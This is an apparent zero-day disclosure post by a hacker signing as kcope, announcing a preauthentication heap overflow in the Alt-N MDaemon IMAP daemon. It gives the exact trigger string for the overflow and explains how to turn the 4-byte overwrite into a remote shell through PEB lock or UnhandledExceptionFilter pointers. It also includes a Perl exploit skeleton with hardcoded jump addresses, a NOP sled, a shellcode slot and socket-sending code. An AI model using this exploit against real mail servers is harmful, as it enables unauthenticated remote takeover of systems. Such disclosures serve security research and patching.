MDAEMON LATEST VERSION PREAUTH *REMOTE ROOT HOLE*

zeroday discovered by kcope kingcope[at]gmx.net !!!
shouts to alex,wY!,bogus,revoguard,adizeone

Description
There's a remotely exploitable preauthentication hole in Alt-N MDaemon.
It is a Heap Overflow in the IMAP Daemon.
It can be triggered by sending the following attack string:
a001 "[X]\r\n
Look specifically at the " it is important :)
[X] consists of f.e. 99555 Z's to reach the 4 byte overwrite.
Now one can use the 4 byte overwrite in some PEB pointer overwrite to
open a remote shell. UnhandledExceptionFilter is also possible I think.
No exploit is delivered at this time, figure it out yourself (use the 
PEB Lock) :)

Sample code:
 $where = "\x4c\x14\xed\x77"; # UnhandledExceptionFilter 77ED144C
 #$where = "\x20\xf0\xfd\x7f"; # PEB Lock Pointer 7FFDF000
 $what = "\x3d\xb9\x82\x02"; # JMP EDX 03bfcb9A
 
 $nops = "A" x 100;
 $a = $nops . $shellcode . ("Z" x 
(0x2006-length($shellcode)-length($nops))) . $what . $where . ("Z" x 
(0x184AC - 0x200A - 12));
 print $sock "a001 \"$a\r\n";
 close($sock);

Best Regards,
kcope